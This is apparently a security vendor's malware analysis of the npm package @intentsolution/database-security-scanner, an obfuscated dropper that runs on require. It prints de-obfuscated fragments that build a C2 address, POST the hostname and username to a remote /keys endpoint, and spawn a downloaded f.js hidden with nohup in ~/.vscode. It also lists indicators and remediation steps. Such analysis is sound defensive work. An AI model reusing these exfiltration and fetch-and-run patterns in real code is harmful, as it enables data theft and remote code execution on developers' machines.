Malicious npm package @intentsolution/database-security-scanner is disguised as a legitimate database security scanner. It does not scan a single database. Despite the trustworthy-sounding name, the entire module is an obfuscated dropper: the instant it is required, it phones home to a hard-coded command-and-control server, ships your hostname and username off the box, then downloads and launches a second-stage JavaScript payload as a detached background process. The "database security scanner" cover story exists only in the package name and never in the code.
The most interesting part is how little the attacker hid behind. There is no real library, no decoy functionality, not even an install script. A single index.js runs at the top level the moment any code does require("@intentsolution/database-security-scanner"), which means a developer who so much as imports the package to try it out has already been beaconed, fingerprinted, and staged for remote code execution. The payload is then daemonized with nohup and its output piped to /dev/null, so on a developer laptop it leaves almost nothing on screen.
What makes it worth a writeup is the layered obfuscation hiding a very small footprint. The author stacked an obfuscator.io string-array on top of a custom-alphabet base64 decoder and a second XOR layer, purely to conceal a handful of strings: one IP, one port, one campaign id, and the method names for child_process and request. We analyzed all of it with our research engine, without ever installing or running the package.
| Indicator | Role | Hosting | Status |
|---|---|---|---|
| hxxp[://]45[.]59[.]163[.]198:1244 | C2 (poll, payload, exfil) | Tier.Net Technologies LLC (US), 45.59.160.0/22 | Live at analysis time, not interacted with |
| b00styourheart[.]us | rDNS of the C2 IP | Tier.Net | Informational |
90284f2a63c0 | Poll path /s/<id> | n/a | Campaign / build id |
Package Delivery
@intentsolution/database-security-scanner@1.0.0 was published on 15 June 2026 by the npm account intentsolution (maintainer email shernandelacruz0@gmail.com). It is a brand-new, single-version, scoped package with an empty description, no author, no repository, no declared dependencies, and no lifecycle scripts. The tarball contains exactly two files:
package/package.json
package/index.jsThe name is the whole social-engineering play. "database-security-scanner" reads like a legitimate developer tool, and the @intentsolution scope lends it an air of a company namespace. Nothing in the package delivers that promised functionality. This is a Masquerading attack: the metadata and name imitate a legitimate utility while the body is entirely malicious.
Because the payload lives in index.js (the package main) and executes at the top level rather than in a postinstall hook, npm config set ignore-scripts true does not protect you here. The trigger is require, not install.
Entry Point and Trigger
The last statement in index.js is a bare call to the bootstrap function, so execution begins on require:
// trailing lines of index.js, de-aliased
Zt(); // run once immediately
let jt = setInterval(() => {
Gt += 1;
if (Gt < 3) Zt(); // re-beacon up to 3 times
else clearInterval(jt);
}, 0x96640); // 616000 ms, about every 10.3 minutesZt() records a timestamp and kicks off the first beacon. A setInterval then re-runs the whole sequence up to three times at roughly ten-minute intervals before stopping, giving the C2 a few chances to hand back tasking if it was not ready on the first poll.
Obfuscation
Three layers sit between the reader and a very small set of secrets.
The file opens with an alias-fanout prelude: one string-decoder function is rebound under five machine-generated names so that no single identifier looks important.
const a0ag = a0a1, a0ah = a0a1, a0al = a0a1, a0am = a0a1, a0an = a0a1;Underneath is a textbook obfuscator.io string array plus a rotation IIFE seeded with 0xadd1a, which permutes the array until an internal checksum matches. The decoder a0a1 is the giveaway: its base64 routine ships a non-standard alphabet, lowercase letters first.
// a0a1's inner decoder uses this alphabet, not standard base64
const j = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';Decoding any table entry with a stock base64 routine yields garbage; you must use the custom alphabet. A second helper layers an XOR-with-rotating-key scheme on top, used for the file paths and shell fragments:
const k = [0x70, 0xa0, 0x89, 0x48];
const H = arr => arr.map((b, i) =>
String.fromCharCode((b ^ k[i & 3]) & 0xff)).join('');
// H([0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec]) -> ".vscode"
// H([0x16,0x8e,0xe3,0x3b]) -> "f.js"
// H([0x13,0xc4]) + ... + H([0x56,...]) -> 'cd "<dir>" && npm i --silent'
// H([0x1e,0xcf,0xe1,0x3d,0x0]) -> "nohup"Once both layers are resolved, the entire secret surface of the package is just six modules (os, fs, path, node:process, child_process, request), a single IP and port, one campaign id, and a clutch of method names.
C2 Address Construction
The C2 host is never written as an IP. It is stored base64-encoded and then octet-shuffled at runtime, presumably to defeat naive string scanning for dotted-quad addresses.
const X = "MTYzLjE5NDUuNTkuOA=="; // base64, but the octet groups are scrambled
function Y() {
// re-orders the four octet groups (a4 + a3 + a5) before decoding
// U("aHR0cDovLw==") -> "http://"
// decoded shuffled octets -> "45.59.163.198"
// W (":124") + "4" -> ":1244"
return "http://" + "45.59.163.198" + ":1244"; // -> hxxp[://]45[.]59[.]163[.]198:1244
}
const q = "90284" + "f2a63" + "c0"; // -> "90284f2a63c0" (campaign id)Decoding X directly gives the misordered 163.1945.59.8; only after Y() regroups the octets does the real address 45.59.163.198 appear. The base URL is therefore hxxp[://]45[.]59[.]163[.]198:1244, and the poll path is /s/90284f2a63c0.
Beacon and Host Fingerprint Exfiltration
The first action is a GET to the tasking endpoint. The reply is parsed by a small routine that sets the working C2 base URL and a payload token. The malware then collects a host fingerprint and POSTs it back as multipart form data:
// de-aliased exfil payload
const body = {
ts: Date.now().toString(), // beacon timestamp
type: R, // token from the tasking reply
hid: os.hostname(), // + "+" + os.userInfo().username on macOS
ss: <marker>,
cc: process.argv[1] // path of the script that loaded the package
};
request.post({ url: M + "/keys", formData: body }, () => {});The exfiltrated set is hostname, username (on macOS the username is appended to the host id), platform, the entry script path (process.argv[1]), and a timestamp. That is enough for the operator to deduplicate victims and decide who is worth a payload.
Payload Drop and Daemonization
If tasking succeeds, the dropper writes a second stage to disk under a directory chosen to blend in with a developer's environment:
mkdirSync(path.join(os.homedir(), ".vscode")), falling back to the home directory if that fails.GET <C2>/f/<token>, thenrmSyncany prior copy andwriteFileSync(path.join(dir, "f.js"), body).GET <C2>/p, and if the downloadedpackage.jsonis larger than the local copy, write it. This lets the operator ship the payload's dependency manifest separately.child_process.exec('cd "<dir>" && npm i --silent')to install whatever that manifest declares, followed bynpm --prefix "<dir>"ifnode_modulesis still missing.- Launch the payload, branching on platform:
// de-aliased ut()
if (os.platform()[0] === "w") { // Windows
spawn(process.execPath, ["f.js"], {
cwd: dir, stdio: "ignore", windowsHide: true
}).unref();
} else { // macOS / Linux
spawn("nohup", [process.execPath, "f.js"], {
cwd: dir, detached: true,
stdio: ["ignore", fd("/dev/null"), fd("/dev/null")]
}).unref();
}On POSIX the payload runs as a detached nohup process with all output sent to /dev/null; on Windows it runs hidden. In both cases unref() lets the original Node process exit while the second stage keeps running. The choice of ~/.vscode is deliberate camouflage: a stray f.js and node_modules inside a folder that looks like editor configuration is easy to overlook.
We did not retrieve or execute the second stage, and the C2 was live but not interacted with. The capabilities of f.js are whatever the operator chose to serve at /f/<token> at a given time, which is the point of a downloader: the dangerous code is delivered out-of-band and can be swapped at will.
Infection Vector Assessment
This is Masquerading. The package imitates the name and shape of a legitimate security utility and carries no genuine functionality. It is not typosquatting (there is no popular database-security-scanner it is impersonating by a typo), not dependency confusion (the version is a plain 1.0.0, not an inflated number), and not a hijack of an established maintainer (the account and package are brand new). The execution-on-require design, rather than a postinstall hook, is the notable wrinkle: it sidesteps the most commonly recommended npm hardening step.
Remediation
# 1. Remove the package from any project that pulled it in
npm uninstall @intentsolution/database-security-scanner
# 2. Remove the staged payload and its installed deps
rm -rf ~/.vscode/f.js ~/.vscode/package.json ~/.vscode/node_modules
# 3. Look for the detached daemon and kill it
ps aux | grep -F 'f.js' | grep -v grep # then kill the matching PID
# 4. Hunt for the beacon in egress logs
# GET/POST to 45.59.163.198 on TCP/1244, path /s/90284f2a63c0 or /keysThen rotate any credentials, tokens, or SSH keys that were reachable from the affected account, since you cannot know what the swappable second stage collected.
Prevention guidance:
- Scope-pin and review brand-new, single-version, zero-dependency packages before importing them, especially ones whose name promises security functionality but whose source is a single obfuscated file.
- Remember that
npm config set ignore-scripts trueblocks install hooks but not execution-on-require. Static review ofmainstill matters. - Block egress to unknown hosts from build and developer machines where practical.
Takeaways
The trick here is economy: stock obfuscation hiding a tiny dropper, no decoy functionality, and execution on require rather than a postinstall hook, betting that a credible name is enough to get imported. A single require is all it takes to leak host and user identity, write attacker-controlled code to disk, npm install arbitrary dependencies, and leave a detached process running with the developer's own privileges.
The constants that make it dangerous, a fixed C2, campaign id, drop path, and re-beacon interval, are also what make it easy to catch. Cyrokai's scanning engines flag this package as malware and surface the recovered C2 and campaign indicators, so a malicious "scanner" is stopped before it ever gets required.
Indicators of Compromise
Packages
@intentsolution/database-security-scannerversion1.0.0- Tarball SHA-256
5316a70a710bea3854f3c5c72041a4d617fba5bb3230a059158006597c960541 index.jsSHA-256d5b68484311e4039901d8a840c70d49e4332cf99181c747b08d86ddb5933fdad
Network
- C2 base hxxp[://]45[.]59[.]163[.]198:1244
- Poll
GET /s/90284f2a63c0, payloadGET /f/<token>, manifestGET /p, exfilPOST /keys(multipart formData) - Campaign id
90284f2a63c0 - C2 IP 45[.]59[.]163[.]198, Tier.Net Technologies LLC (US), CIDR 45.59.160.0/22, rDNS b00styourheart[.]us, TCP/1244
Files and host artifacts
- Drop directory
~/.vscode/, dropped payload~/.vscode/f.js, manifest~/.vscode/package.jsonplus installed~/.vscode/node_modules/ - POSIX daemon
nohup node ~/.vscode/f.js(detached, stdio to/dev/null) - Publisher email
shernandelacruz0@gmail.com